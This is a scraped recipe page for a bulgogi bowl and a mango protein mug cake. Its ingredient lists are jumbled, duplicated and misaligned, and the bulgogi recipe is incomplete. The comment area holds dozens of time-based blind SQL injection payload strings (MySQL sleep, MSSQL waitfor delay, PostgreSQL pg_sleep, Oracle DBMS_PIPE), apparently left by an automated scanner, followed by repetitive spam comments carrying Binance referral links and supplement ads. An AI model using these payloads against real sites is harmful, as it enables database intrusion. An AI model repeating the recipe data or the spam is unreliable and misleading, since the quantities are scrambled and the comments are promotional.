LOADED CHICKEN BULGOGI BOWL
Ingredients (makes 1 large/2 medium servings)
Boneless Thighs or firm Tofu
100gms
Sliced Mushroom
50gms
Sliced Carrot
50gms
Sliced Onion
1/2
Soya Sauce
2tsp
GOOEY MANGO VANILLA MUG CAKE
374 KCal with 28 g of Protein
374 KCal with 28 g of Protein
List of Ingredients
Ingredients (makes 1 mug cake - 374 KCal with 28 g of protein)
2 tbsp
Powdered oats - 2 tbsp
1 scoop
Vanilla protein powder - 1 scoop (I used my absolute fave @cosmixwellness Real Kerala Vanilla
50 g
bean plant protein powder - use code AATHIRA)
1/2
1 tsp baking powder
2.5 tbsp
A little stevia/sweetener of choice- according to taste
-
Milk of choice (I used almond milk) - 2.5 tbsp and a little more to bring it together
-
Olive oil - 1 tbsp
1tbsp
White vinegar - 1 tsp
Vanilla extract - few drops
-
List of Ingredients
For the Sauce
For the creamy mango mixture, mix together
1/2
50 g roughly mashed mango
1/3rd piece
1/2 tbsp cream cheese (optional)
4-5 cloves
1 tbsp coconut milk
1.5 tsp
2 tbsp almond/normal milk
1 tsp
374 KCal with 28 g of Protein
Ingredient (makes 1 mug cake - 374 KCal with 28 g of protein)
2 tbsp Powdered oats
1 Scoop Vanilla protein powder (I used my absolute fave @cosmixwellness Real Kerala Vanilla bean plant protein powder - use code AATHIRA)
1 tsp baking powder
A little stevia/sweetener of choice- according to taste
2.5 tbsp and a little more to bring it together Milk of choice (I used almond milk)
1 tbsp Olive oil
1 tbsp White vinegar
Few drops Vanilla extract
For the creamy mango mixture, mix together
50g roughly mashed mango
1/2 tbsp cream cheese (optional)
1 tbsp coconut milk
2 tbsp almond/normal milk
For the creamy mango mixture, mix together
50g roughly mashed mango
1/2 tbsp cream cheese (optional)
1tbsp coconut milk
2 tbsp almond/normal milk
Method
Methods:
- Mix the powdered oats, protein powder, milk, oil, baking powder, vinegar, vanilla and sweetener together in a microwave safe mug until it forms a thick batter
- Add in 2-3 tbsp of the mango mixture and swirl it through.
- Microwave it for 60-90 seconds until it rises and is firm to touch on the top.
- Top the cake with the remaining mango mixture and DIG IN! ❤️
1t6DaO10B
1
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
1-1; waitfor delay ‘0:0:15’ —
1-1); waitfor delay ‘0:0:15’ —
1-1 waitfor delay ‘0:0:15’ —
15ykO7iDY’; waitfor delay ‘0:0:15’ —
1-1 OR 826=(SELECT 826 FROM PG_SLEEP(15))–
1-1) OR 446=(SELECT 446 FROM PG_SLEEP(15))–
1-1)) OR 27=(SELECT 27 FROM PG_SLEEP(15))–
15xzIUt00′ OR 383=(SELECT 383 FROM PG_SLEEP(15))–
1M24pG20a’) OR 284=(SELECT 284 FROM PG_SLEEP(15))–
1rCYlyAdk’)) OR 666=(SELECT 666 FROM PG_SLEEP(15))–
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1waouCfFA
1*1
1*if(now()=sysdate(),sleep(15),0)
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
1lnj06Xkk’; waitfor delay ‘0:0:15’ —
1-1 OR 682=(SELECT 682 FROM PG_SLEEP(15))–
1-1) OR 92=(SELECT 92 FROM PG_SLEEP(15))–
1-1)) OR 959=(SELECT 959 FROM PG_SLEEP(15))–
1k3LRZhCc’ OR 312=(SELECT 312 FROM PG_SLEEP(15))–
11LDHPFN4′) OR 485=(SELECT 485 FROM PG_SLEEP(15))–
16XDec7Y4′)) OR 129=(SELECT 129 FROM PG_SLEEP(15))–
1′”
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1SdxxjKu9
1*885*880*0
1zTHMnnpv’; waitfor delay ‘0:0:15’ —
1-1 OR 101=(SELECT 101 FROM PG_SLEEP(15))–
1-1)) OR 407=(SELECT 407 FROM PG_SLEEP(15))–
1oze23vnB’ OR 132=(SELECT 132 FROM PG_SLEEP(15))–
182GTFzD4′) OR 390=(SELECT 390 FROM PG_SLEEP(15))–
1J9g6qCBV’)) OR 141=(SELECT 141 FROM PG_SLEEP(15))–
1%2527%2522\’\”
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 3+439-439-1=0+0+0+1
1zpHbmaSS’; waitfor delay ‘0:0:15’ —
1-1 OR 186=(SELECT 186 FROM PG_SLEEP(15))–
1-1) OR 205=(SELECT 205 FROM PG_SLEEP(15))–
1-1)) OR 347=(SELECT 347 FROM PG_SLEEP(15))–
1eBnkVGcX’ OR 298=(SELECT 298 FROM PG_SLEEP(15))–
1ywGcqPc9′) OR 880=(SELECT 880 FROM PG_SLEEP(15))–
1BtBPqAnJ’)) OR 795=(SELECT 795 FROM PG_SLEEP(15))–
@@vaNbk
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Thanks for sharing. I read many of your blog posts, cool, your blog is very good. https://accounts.binance.info/cs/register-person?ref=OMM3XK51
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article. https://www.binance.com/register?ref=IXBIAFVY
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me.
Your article helped me a lot, is there any more related content? Thanks!
**arialief**
Arialief is a carefully developed dietary supplement designed to naturally support individuals dealing with sciatic nerve discomfort while promoting overall nerve wellness.
gluco6
Gluco6 is a natural, plant-based supplement designed to help maintain healthy blood sugar levels.
Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me?
Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me? https://accounts.binance.info/register-person?ref=QCGZMHR6
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me.
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me. https://www.binance.com/pl/register?ref=UM6SMJM3
Your article helped me a lot, is there any more related content? Thanks!
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.
Your article helped me a lot, is there any more related content? Thanks! https://www.binance.bh/register?ref=JW3W4Y3A
Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me? https://www.binance.bh/en-ZA/register?ref=B4EPR6J0
Thank you for your sharing. I am worried that I lack creative ideas. It is your article that makes me full of hope. Thank you. But, I have a question, can you help me? https://www.binance.info/register?ref=IXBIAFVY
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me.
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me.
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.
Your point of view caught my eye and was very interesting. Thanks. I have a question for you.
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
Your article helped me a lot, is there any more related content? Thanks! https://accounts.binance.com/register/person?ref=IXBIAFVY
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me. https://www.binance.bh/register?ref=IXBIAFVY
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article. https://www.binance.bh/register?ref=GGYHGRE
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me. https://accounts.binance.bh/register/person?ref=IHJUI7TF
Your article helped me a lot, is there any more related content? Thanks! https://accounts.binance.bh/register/person?ref=GGYHGRE
Your article helped me a lot, is there any more related content? Thanks!
Your article helped me a lot, is there any more related content? Thanks! https://www.binance.bh/register?ref=QCGZMHR6